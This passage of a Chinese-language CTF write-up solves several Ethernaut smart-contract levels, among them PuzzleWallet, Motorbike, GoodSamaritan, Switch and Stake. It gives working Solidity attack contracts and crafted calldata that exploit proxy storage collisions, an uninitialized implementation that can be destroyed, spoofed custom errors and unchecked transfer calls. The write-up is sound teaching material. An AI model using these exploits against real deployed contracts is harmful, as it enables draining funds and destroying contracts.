Proxy-slot0Wallet-slot0Proxy-slot1Wallet-slot1
pendingAdminowneradminmaxBalance
  1. Proxy 合约存储状态,Wallet 合约存储逻辑
  2. Wallet 合约的数据更新不会影响 Proxy 合约,因为 Proxy 只会使自己合约存储的数据
  3. Proxy 合约的数据更新会影响 Wallet 合约的函数判断,因为 Proxy 会把 Wallet 合约逻辑拿到 Proxy EVM 环境中执行

maxBalance

  1. Proxy-admin 地址和 Wallet-maxBalance 存储在 slot0
  2. 如果可以在 Proxy 中更新 slot0->maxBalance(admin) 数据,就可以实现目标

Wallet-setMaxBalance()

function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted,函数需要白名单地址才能调用

Wallet-addToWhitelist()

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }
  1. 函数需要 owner 地址调用
  2. Wallet 逻辑合约中,owner 存储在 slot0
  3. 对于 Proxy 函数调用过程中 owner 的判断,也会从 slot0 中取数据
  4. Proxy slot0 中存储的是 pendingAdmin 地址而言

Proxy-proposeNewAdmin()

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

Proxy 合约调用 proposeNewAdmin() 函数修改 slot0-pendingAdmin ,不需要额外的验证,任何地址都可以提交修改。

实现逻辑–修改admin为attack()合约地址

  1. 部署 Attack() 合约,实例化 ProxyWallet 合约,将 Proxy 合约的 admin 地址更新为 msg.sender
  2. 调用 Proxy 合约 proposeNewAdmin() 函数,Attack 合约地址作为参数传递 –> Proxy 的slot0 存储 Attack() 合约地址
  3. Proxy 合约中调用 addToWhitelist() 函数:
    1. addToWhitelist() 校验 owner 身份,owner 存储在 slot0 位置
    2. Proxy 合约按照 Wallet 逻辑,从 slot0 取出 owner 地址
    3. slot0 存储的是 Attack() 合约地址,交易发起者也是 Attack() 合约, 满足判断条件
  4. Proxy 合约中调用 setMaxBalance() 函数,将 Attack 合约地址作为参数传递
    1. setMaxBalance() 校验 白名单
    2. 第三步骤将 Attack 合约置为白名单,满足条件
    3. Proxy 合约按照 Wallet 逻辑–> 更新 slot1 数据
  5. Proxy 中读取 slot1--> Admin 地址
    constructor() {
        pw = new PuzzleWallet();
        pp = new PuzzleProxy(msg.sender, address(pw), "");
    }

    function attack() external returns (address) {
        pp.proposeNewAdmin(address(this));
        bytes memory data = abi.encodeWithSelector(
            bytes4(keccak256("addToWhitelist(address)")),
            address(this)
        );
        address(pp).call(data);
        uint256 value = tovalue(address(this));
        data = abi.encodeWithSelector(
            bytes4(keccak256("setMaxBalance(uint256)")),
            value
        );
        address(pp).call(data);
        return pp.admin();
    }

Motorbike

Reference

Motorbike

Motorbike.sol

目标

让合约无法正常使用

分析

代理合约

  1. Proxy 合约存储状态,Engine 合约存储逻辑
  2. Engine 合约的数据更新不会影响 Proxy 合约的数据,因为 Proxy 只会使自己合约存储的数据
  3. Proxy 合约的数据更新不会影响 Engine 合约的数据
  4. Proxy 合约的数据更新只会影响 Engine 合约的函数判断,因为 Proxy 会把 Engine 合约逻辑拿到 Proxy EVM 环境中执行

Engine-initialize

    function initialize() external initializer {
        horsePower = 1000;
        upgrader = msg.sender;
    }
  1. Proxy 部署时执行了 Engine 合约的 initialize() 函数,但是 delegatecall 的数据更新仅存在 Proxy 合约中
  2. Engine 中数据存储仍然为空

Engine-upgradeAndCall()

    function upgradeToAndCall(address newImplementation, bytes memory data)
    external
    payable
    {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }
  1. 函数需要 upgrade 地址调用
  2. Engine 逻辑合约中,upgrade 通过调用 initialize() 函数更新
  3. _upgradeToAndCall 更新逻辑地址并发起 delegatecall 的初始化交易

实现逻辑–修改admin为attack()合约地址

  1. 部署 Attack() 合约,实现自毁函数
  2. 调用 Engine 合约 initialize() 函数,注册成为 upgrade
  3. Engine 合约中调用 upgradeAndCall() 函数:
    1. Attack() 作为逻辑地址
    2. 初始化代码执行自毁函数
    function attack() external {
        engine.initialize();
        bytes memory data = abi.encodeWithSelector(this.destroy.selector);
        engine.upgradeToAndCall(address(this), data);
    }

GoodSamaritan

Reference

GoodSamaritan

GoodSamaritan.sol

目标

掏空奖池

分析

Wallet

    function donate10(address dest_) external onlyOwner {
        // check balance left
        if (coin.balances(address(this)) < 10) {
            revert NotEnoughBalance();
        } else {
            // donate 10 coins
            coin.transfer(dest_, 10);
        }
    }

    function transferRemainder(address dest_) external onlyOwner {
        // transfer balance left
        coin.transfer(dest_, coin.balances(address(this)));
    }

wallet函数分析

  1. donate10() 函数存在两个分支:
    1. 钱包余额小于10的话,返回 revert NotEnoughBalance() 报错
    2. 调用 Coin-transfer() 函数,转账 10Token 到特定账户。
  2. transferRemainder() 函数,调用 Coin 合约,将 wallet 全部资产转到特定地址

Coin

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if (amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if (dest_.isContract()) {
                // notify contract
                INotifyable(dest_).notify(amount_);
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }

coin函数分析

  1. Coin-transfer() 函数首先查询调用者的余额,和转账金额进行匹配:
    1. 匹配成功的话:
      1. 更新 from/to 的地址的余额
      2. 如果 to 地址是合约地址的话,调用 to-的notify() 函数
    2. 匹配失败的话,返回 revert InsufficientBalance() 错误

GoodSamaritan

    function requestDonation() external returns (bool enoughBalance) {
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (
                keccak256(abi.encodeWithSignature("NotEnoughBalance()")) ==
                keccak256(err)
            ) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }

函数分析

  1. requestDonation 函数捕获 wallet-donate10 的异常:
    1. 无异常的话,返回 true
    2. 如果异常类型是 NotEnoughBalance() 的错误:
      1. 默认余额不足,调用 Wallet-transferRemainder() 函数转账全部资产
    3. 不捕获其余异常

攻击合约分析

    function notify(uint256 amount) external {
   // while (coin.balances(address(wallet)) > 999690) {
   //     goodSamaritan.requestDonation();
   // }
   if (amount <= 10) {
      revert NotEnoughBalance();
   }
}
  1. to 合约调用 GoodSamaritan-requestDonation() 函数,并捕获异常:
    1. 首先调用 Wallet-donate10() 函数,Wallet 钱包存在 10**6Token , 进入 Wallet-donate10() 第二分支(Coin-transfer)
    2. Wallet 钱包存在足额资产,在 Coin-transfer() 中进入第一分支
    3. Coin-transfer() 第一分支中,首先更新 from/to 地址余额,之后调用 to-notify() 函数
    4. to 合约中定义 notify() 函数,在余额小于等于10的情况下返回 revert NotEnoughBalance() 报错
  2. GoodSamaritan-requestDonation() 函数捕获到异常:NotEnoughBalance()
    1. NotEnoughBalance 异常匹配中,调用 Wallet-transferRemainder() 函数
    2. Wallet-transferRemainder() 函数 底层调用 Coin-transfer() 函数,转移全部的Token资产
    3. Coin-transfer() 函数进入转账环节,在调用 to-notify() 函数时,余额不小于10,则不会返回 revert 报错
    4. 交易完成

Attack合约

contract Attack is INotifyable {
    GoodSamaritan public goodSamaritan;
    // Coin coin;
    // Wallet wallet;
    error NotEnoughBalance();

    constructor(GoodSamaritan _goodSamaritan) //   Coin _coin,
    // Wallet _wallet
    {
        goodSamaritan = _goodSamaritan;
        // coin = _coin;
        // wallet = _wallet;
    }

    function notify(uint256 amount) external {
        // while (coin.balances(address(wallet)) > 999690) {
        //     goodSamaritan.requestDonation();
        // }
        if (amount <= 10) {
            revert NotEnoughBalance();
        }
    }

    function attack() external {
        goodSamaritan.requestDonation();
    }
}

GateKeeperThree

Reference

GateKeeperThree

GateKeeperThree.sol

Ethereum-Creation-Code

目标

成为 entrant 地址

分析

只是一个错误函数名称引起的错误,任何地址都可以成为owner

    function construct0r() public {
        owner = msg.sender;
    }

attack 合约

contract AttackPassward {
    uint256 public password;

    SimpleTrick public trick;
    GatekeeperThree public gthree;

    constructor(SimpleTrick _trick, GatekeeperThree _gthree) payable {
        trick = _trick;
        gthree = _gthree;
    }

    function attackPassword() public {
        password = block.timestamp;
        trick.checkPassword(password);
        gthree.construct0r();
        gthree.getAllowance(password);
        address(gthree).call{value: 0.0011 ether}("");
        gthree.enter();
    }

    // receive() external payable {}
}

Switch

Reference

Switch

Switch.sol

目标

flip switch

分析

Calldata

  1. 静态参数(int,uint,address,bool,bytes-n,tuples)高位补0,编码成256bits.
  2. 动态参数编码(string,bytes,array)分三部分:
    1. 第一部分的256bits(32位)表明 offset,calldata的起始位置
    2. 第二部分的256bits(32位)表明 length,calldata中动态参数的长度
    3. 第三部分就是动态参数,不满32位的在后面补0

Examples

contract Example {
    function transfer(bytes memory data, address to) external;
}
//data: 0x1234
//to: 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f

其中,to地址作为静态类型,bytes作为动态类型,编码为:

0xbba1b1cd+0000000000000000000000000000000000000000000000000000000000000040+0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f+0000000000000000000000000000000000000000000000000000000000000002+1234000000000000000000000000000000000000000000000000000000000000 其中:

0x

function selector (transfer):
Bba1b1cd

offset of the 'data' param (64 in decimal):
0000000000000000000000000000000000000000000000000000000000000040 

address param 'to':
0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f 

length of the 'data' param:
0000000000000000000000000000000000000000000000000000000000000002 

value of the 'data' param:
1234000000000000000000000000000000000000000000000000000000000000

flipSwitch函数

 function flipSwitch(bytes memory _data) public onlyOff {
        (bool success, ) = address(this).call(_data);
        require(success, "call failed :(");
    }

modifier onlyOff() {
        // you can use a complex data type to put in memory
        bytes32[1] memory selector;
        // check that the calldata at position 68 (location of _data)
        assembly {
            calldatacopy(selector, 68, 4) // grab function selector from calldata
        }
        require(
            selector[0] == offSelector,
            "Can only call the turnOffSwitch function"
        );
        _;
    }
  1. onlyOff 修饰符要求函数调用传递的参数中 从index=68处取4个字节的数据 等于 bytes4(keccak256("turnSwitchOff()"))
  2. 因此,传递的是数据仅需要保证 1 中的条件,但是实际调用的参数bytes4(keccak256("turnSwitchOn()"))可以往后放:
function selector:
30c13ade

offset, now = 96-bytes:
0000000000000000000000000000000000000000000000000000000000000060 

extra bytes:
0000000000000000000000000000000000000000000000000000000000000000 

here is the check at 68 byte (used only for the check, not relevant for the external call made by our function):
20606e1500000000000000000000000000000000000000000000000000000000

length of the data:
0000000000000000000000000000000000000000000000000000000000000004 

data that contains the selector of the function that will be called from our function:
76227e1200000000000000000000000000000000000000000000000000000000 

HigherOrder

Reference

HigherOrder

HigherOrder.sol

目标

成为合约的leaderShip

分析

commander

    uint256 public treasury;

    function registerTreasury(uint8) public {
        assembly {
            sstore(treasury_slot, calldataload(4))
        }
    }

    function claimLeadership() public {
        if (treasury > 255) commander = msg.sender;
        else revert("Only members of the Higher Order can become Commander");
    }
  1. 只要 treasury 大于255,任何地址就可以成为 commander
  2. registerTreasury(uint8) 通过 uint8 限制传参(最大值255)
  3. 但是函数调用可以通过直接底层的call调用,call 调用中数据被编码成 256bit ,数值远大于255
  4. 因此,只需要在 calldata 中输入任意大于 255 的数值就可以更新 treasury 的值
  5. 0x211c85ab0000000000000000000000000000000000000000000000000000000000000100

Stake

Reference

Stake

Stake.sol

目标

掏空奖池

分析

call()

call()函数返回执行结果和状态,但是在远端call交易失败的情况下,整笔交易不会回滚,因此需要判断返回的状态

    function StakeWETH(uint256 amount) public returns (bool) {
        require(amount > 0.001 ether, "Don't be cheap");
        (, bytes memory allowance) = WETH.call( //allowance()
            abi.encodeWithSelector(0xdd62ed3e, msg.sender, address(this))
        );
        require(
            bytesToUint(allowance) >= amount,
            "How am I moving the funds honey?"
        );
        totalStaked += amount;
        UserStake[msg.sender] += amount;
        (bool transfered, ) = WETH.call(
            abi.encodeWithSelector(
                0x23b872dd, // transferFrom
                msg.sender,
                address(this),
                amount
            )
        );
        Stakers[msg.sender] = true;
        return transfered; // Not checking postposition
    }
  1. 在质押WETH的交易中,仅仅检查了授权情况,在底层的转账 call中并没有实际检查转账状态
  2. 授权交易不会判断余额
  3. 存在无WETH钱包仅授权当前stake账户,实际转账交易无法执行。但是stake合约没有判断转账状态,直接更新当前质押余额
  4. 因此,可以通过一直空质押WETH刷新增加质押余额,然后直接退款ETH,掏空奖池